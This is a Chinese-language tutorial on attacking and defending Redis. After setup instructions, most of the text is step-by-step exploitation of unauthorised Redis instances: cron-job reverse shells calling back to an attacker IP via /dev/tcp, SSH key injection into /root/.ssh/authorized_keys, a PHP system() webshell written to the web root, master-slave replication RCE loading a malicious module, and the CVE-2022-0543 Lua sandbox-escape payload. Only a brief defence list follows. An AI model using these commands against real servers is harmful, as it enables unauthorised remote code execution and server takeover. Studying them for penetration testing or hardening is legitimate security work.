redis攻防总结
redis简介
Redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中(基于内存存储)。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。redis在开发中主要使用的地方:网站的实时点击数、热点新闻数据排行榜等数据量较大且需要实时更新的地方。
一、redis环境搭建
1、前期准备
- 搭建centos7系统
- 下载Redis5.0.10源码
2、安装redis
解压:
tar -zvxf redis-5.0.10.tar.gz
安装、编译
cd redis-5.0.10/
make && make install
3、初始化配置文件
#运行这条命令,可以选择是否修改配置
[root@localhost redis-5.0.10]# ./utils/install_server.sh
Welcome to the redis service installer
This script will help you easily set up a running redis server
Please select the redis port for this instance: [6379] # 端口号设置,不设置保持默认
Selecting default: 6379
Please select the redis config file name [/etc/redis/6379.conf] # 主配置文件
Selected default - /etc/redis/6379.conf
Please select the redis log file name [/var/log/redis_6379.log] # 服务日志文件
Selected default - /var/log/redis_6379.log
Please select the data directory for this instance [/var/lib/redis/6379] # 数据库目录
Selected default - /var/lib/redis/6379
Please select the redis executable path [/usr/local/bin/redis-server] # 服务启动命令
Selected config:
Port : 6379
Config file : /etc/redis/6379.conf
Log file : /var/log/redis_6379.log
Data dir : /var/lib/redis/6379
Executable : /usr/local/bin/redis-server
Cli Executable : /usr/local/bin/redis-cli # 连接服务命令
Is this ok? Then press ENTER to go on or Ctrl-C to abort.
Copied /tmp/6379.conf => /etc/init.d/redis_6379
Installing service...
Successfully added to chkconfig!
Successfully added to runlevels 345! # 初始化配置后 会自动启动redis服务 并设置开机运行
Starting Redis server...
Installation successful!
查看服务端口和进程
[root@localhost redis-5.0.10]# netstat -nalp |grep 6379
tcp 0 0 127.0.0.1:6379 0.0.0.0:* LISTEN 7527/redis-server 1
[root@localhost redis-5.0.10]# ps -c 7527
PID CLS PRI TTY STAT TIME COMMAND
7527 TS 19 ? Ssl 0:03 /usr/local/bin/redis-server 127.0.0.1:6379
4、基本使用
设置参数 | 选择项 | 功能 |
---|---|---|
daemonize | yes、no | yes表示启用守护进程(可以后台启动),默认是no即不以守护进程方式运行。其中Windows系统下不支持启用守护进程方式运行 |
port | 指定 Redis 监听端口,默认端口为 6379 | |
bind | 绑定的主机地址,如果需要设置远程访问则直接将这个属性备注下或者改为bind * 即可,这个属性和下面的protected-mode控制了是否可以远程访问 。 | |
protected-mode | yes 、no | 保护模式,该模式控制外部网是否可以连接redis服务,默认是yes,所以默认我们外网是无法访问的,如需外网连接rendis服务则需要将此属性改为no。 |
timeout | 300 | 当客户端闲置多长时间后关闭连接,如果指定为 0,表示关闭该功能 |
loglevel | debug、verbose、notice、warning | 日志级别,默认为 notice |
databases | 16 | 设置数据库的数量,默认的数据库是0。整个通过客户端工具可以看得到 |
rdbcompression | yes、no | 指定存储至本地数据库时是否压缩数据,默认为 yes,Redis 采用 LZF 压缩,如果为了节省 CPU 时间,可以关闭该选项,但会导致数据库文件变的巨大。 |
dbfilename | dump.rdb | 指定本地数据库文件名,默认值为 dump.rdb |
dir | 指定本地数据库存放目录 | |
requirepass | 设置 Redis 连接密码,如果配置了连接密码,客户端在连接 Redis 时需要通过 AUTH 命令提供密码,默认关闭 | |
maxclients | 0 | 设置同一时间最大客户端连接数,默认无限制,Redis 可以同时打开的客户端连接数为 Redis 进程可以打开的最大文件描述符数,如果设置 maxclients 0,表示不作限制。当客户端连接数到达限制时,Redis 会关闭新的连接并向客户端返回 max number of clients reached 错误信息。 |
maxmemory | XXX | 指定 Redis 最大内存限制,Redis 在启动时会把数据加载到内存中,达到最大内存后,Redis 会先尝试清除已到期或即将到期的 Key,当此方法处理 后,仍然到达最大内存设置,将无法再进行写入操作,但仍然可以进行读取操作。Redis 新的 vm 机制,会把 Key 存放内存,Value 会存放在 swap 区。配置项值范围列里XXX为数值。 |
- 前台启动
启动命令:
/usr/local/bin/redis-server
前台启动关闭直接ctrl+c停止服务
-
后台启动
首先需要开启:
daemonize
进入redis安转文件夹内,有个
redis.conf
文件
启动命令: /usr/local/bin/redis-server ./redis.conf
停止服务命令:
[root@localhost redis-5.0.10]# /usr/local/bin/redis-cli
127.0.0.1:6379> shutdown
not connected> exit
或者:
exit 退出客户端,然后执行:/usr/local/bin/redis-cli shutdown
-
连接redis数据库
./bin/redis-cli [-h 127.0.0.1] [-p 6379] ···用户名、密码等···· #后面参数可选
二、利用总结
1、写入计划任务反弹shell
**注意:**新版本的redis是仅允许本地访问的(可以修改bin *),一般是配合其他漏洞一起利用。反弹shell这里只在centos中能够利用成功,ubuntu系统由于通过redis写入计划任务后乱码原因导致无法反弹成功。
set x "\n * * * * * bash -i >& /dev/tcp/192.168.83.130/10086 0>&1\n" //\n为换行符,此处一定要加\n,这样反弹shell语句与其他乱码语句就会分隔开不在同一行,这样才能成功反弹shell
config set dir /var/spool/cron
config set dbfilename root
save
成功反弹
2、redis写入ssh公钥登录
- 环境准备
被攻击方:
记得开启Shh服务配置,允许秘钥登录
命令与Ubuntu略有不同
示例:(重启服务)systemctl restart sshd
最后还得在root目录生成SSH登录的密钥对,即需要有/root/.ssh目录
执行 mkdir /root/.ssh 命令,创建ssh公钥存放目录(若是靶机使用过ssh服务,则会自动生成/root/.ssh文件目录)
攻击方:
在攻击机中生成ssh公钥和私钥,密码设置为空:
ssh-keygen -t rsa
进入.ssh目录:cd .ssh/,将生成的公钥保存到pub_key.txt
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>pub_key.txt
- 漏洞原理
在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
-
写入公钥的前提:
-
Redis服务使用root账号启动
-
成功连接redis
-
服务器开放了SSH服务,而且允许使用密钥登录,并且存在/root/.ssh目录,(安装的openssh只要将公钥放入到/root/.ssh文件夹中,无需设置 默认就允许使用公钥登录),即可远程写入一个公钥,直接登录远程服务器。
-
攻击机上创建ssh-rsa密钥,也就是生成key,这里密码搞成空,全部默认即可
-
命令:
config set dir /root/.ssh/
config set dbfilename authorized_keys
# set x "\n\n\n公钥\n\n\n",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合
set x "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtL/yMAN6zVa9bo6hibKXvWbtiuUmjDdBlGgPTQAOWV5IPm6rHCGxO++LYp4D5neD+k7PDWLFCb5X4JkZNmAS1VWSe+aiddQpykzVN+EmWkMA1GomWRGmeDI72B2tT79LVpKUuzR5/6+AAlkbKFHd+0ztmbTERkj7W/yZW8jAfp274g3Vmtot2Z3qUwPw3xvzNy9KPauUElW33MGioFplYjPsge6oVZ4ChnHgmoQFCmEXpF1IYFUR2jILSAKmIEQOqg34JSF2ynP7ePFkap+O51Klqw4DtvvfDOHidTaQKboE3acc4M5QHnoQbPP1OLGIl1Af6ozDo8I3HC6dgiBVrr7WHU0nn7fwl3olVm0cswTVjNSO8BLbajb546kFZkR9hA9k6MlQoiAa20tFv1+ihrl5LK1UA396mzX9hS8l786UMAyKOxZ1j/ld1GPUVhCNnOaFYaHpGbntXAVsSpDFrIi3Sb/bQUVCjLQHlca/6gwLNBozIp/dwU/uwA4+l02U= root@kali\n\n\n"
save
如果可以上传文件到目标主机或可以远程连接redis,可以直接读key文件,将内容写入
示例:
cat /root/.ssh/pub_key.txt | redis-cli -h 192.168.26.133 -x set pub
成功写入
ssh成功登录
ssh -i id_rsa root@192.168.83.141
3、redis写入webshell
漏洞原理
靶机的redis存在未授权访问,并且开启了web服务,知道了web目录的路径,并具有文件读写增删改查的权限,即可通过redis在指定的web目录下写入一句话木马,用蚁剑等连接可达到控制服务器的目的。
config set dir /var/www/html/ #切换到网站的根目录
config set dbfilename test.php #在磁盘中生成木马文件
set xxx "\n\n\n<?php @system($_POST['cmd']);?>\n\n\n" #写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行.
save #将内存中的数据导出到磁盘
这里使用winserver2019和phpstudy2018搭建环境(centoss没有搭建web服务,这里rediss为3版本)
成功执行
4、主从复制RCE
-
漏洞原理:
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
-
利用前提:
- redis 4.x/5.x
- 无需root账号启动redis,普通权限也可以
-
什么是主从复制?
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。
-
环境搭建
centos7作为主机,Ubuntu18.04作为从机,注意保持两台主机互通 ,需要关闭redis保护模式和允许主从机相互访问(bin设置)
#Ubuntu执行下面命令,成为centos的从机,ip端口为centos(主)redis服务 slaveof 192.168.83.143 6379
-
复现
由于从机不能写操作,所以我们无法使用上面三种方式得到从机的权限所以我们必须利用主从复制的性质往从机写入利用脚本,达到getshell的目的。
情况1:如果我们可以直接访问到从机,可以直接使用利用工具getshell。
情况2:但如果仅允许本地访问或其主机访问,则需要拿下其主机或者利用其他漏洞(例如ssrf),将其主机设置为我们的vps(指我们能控制的VPS,如果 能拿下从机的主机那也可以是主机 ),将恶意脚本同步过去,实现getshell。
下面演示通过其主机(也可以是你的VPS,视从机情况而定)同步加载恶意脚本的情况:
- 利用工具
利用工具:https://github.com/Ridter/redis-rce
利用脚本exp.so:https://github.com/vulhub/redis-rogue-getshell
python redis-rce.py -r 192.168.83.149 -L 127.0.0.1 -f exp.so
成功获得shell(这里是主机连接从机)
-
主机写计划任务,同步到从机
由于从机没有写操作,可以利用主从复制写任务
set x "\n * * * * * bash -i >& /dev/tcp/192.168.83.130/10086 0>&1\n"
同步到从机后,从机设置路径,报存
config set dir /var/spool/cron config set dbfilename root save
成功收到shell
下面演示从机仅允许本地访问的情况,一般配合其他漏洞使用(比如SSRF)
这种情况需要从机主动连接我们的vps(攻击机)
首先使用工具:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
开启主服务,作为从机的主机
从机设置目录,将主机地址设置为攻击机,同步主机
slaveof no one #down掉原来的主机
config set dir /tmp
config set dbfilename exp.so
slaveof 192.168.83.130 15000
加载从攻击机上下载来的恶意模块 (我们上面存在了/tmp下exp.so)
module load ./exp.so #内部加载模块
module list #显示模块
使用加载的模块执行命令(工具支持5.05以下,我这里是5.0.10)
正常情况是第二个 system。这工具 里的module.so编译有问题,需自己重新编译:https://github.com/vulhub/redis-rogue-getshell
反弹shell
5、ssrf+redis
当我们检测出一个网站存在SSRF漏洞的时候,我们就可以探测当前或者内网主机开放的端口,而这些端口往往我们从外网是不能直接探测到的,所以可以尝试利用ssrf探测内网开放的端口,当探测处内网存在redis的时候,则可以尝试进行攻击。
6、Redis Lua 沙盒绕过rce
复现参考vulhub:
CVE-2022-0543漏洞影响的版本只限于Debian 和 Debian 派生的 Linux 发行版(如Ubuntu)上的 Redis 服务。
安全研究人员发现在 Debian 上,Lua 由 Redis 动态加载,且在 Lua 解释器本身初始化时,module和require以及package的Lua 变量存在于上游Lua 的全局环境中,而不是不存在于 Redis 的 Lua 上,并且前两个全局变量在上个版本中被清除修复了,而package并没有清楚,所以导致redis可以加载上游的Lua全局变量package来逃逸沙箱。
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res' 0
三、 Redis防御
- 绑定本地和内网ip地址进行访问,如本地ip:bind 127.0.0.1,192.168.54.1
- requirepass设置redis密码,(默认为空)
- 保护模式开启protected-mode开启(默认开启)
- 更改默认端口(6379)
- 避免使用root权限使用,建一个普通账号专门用于启动redis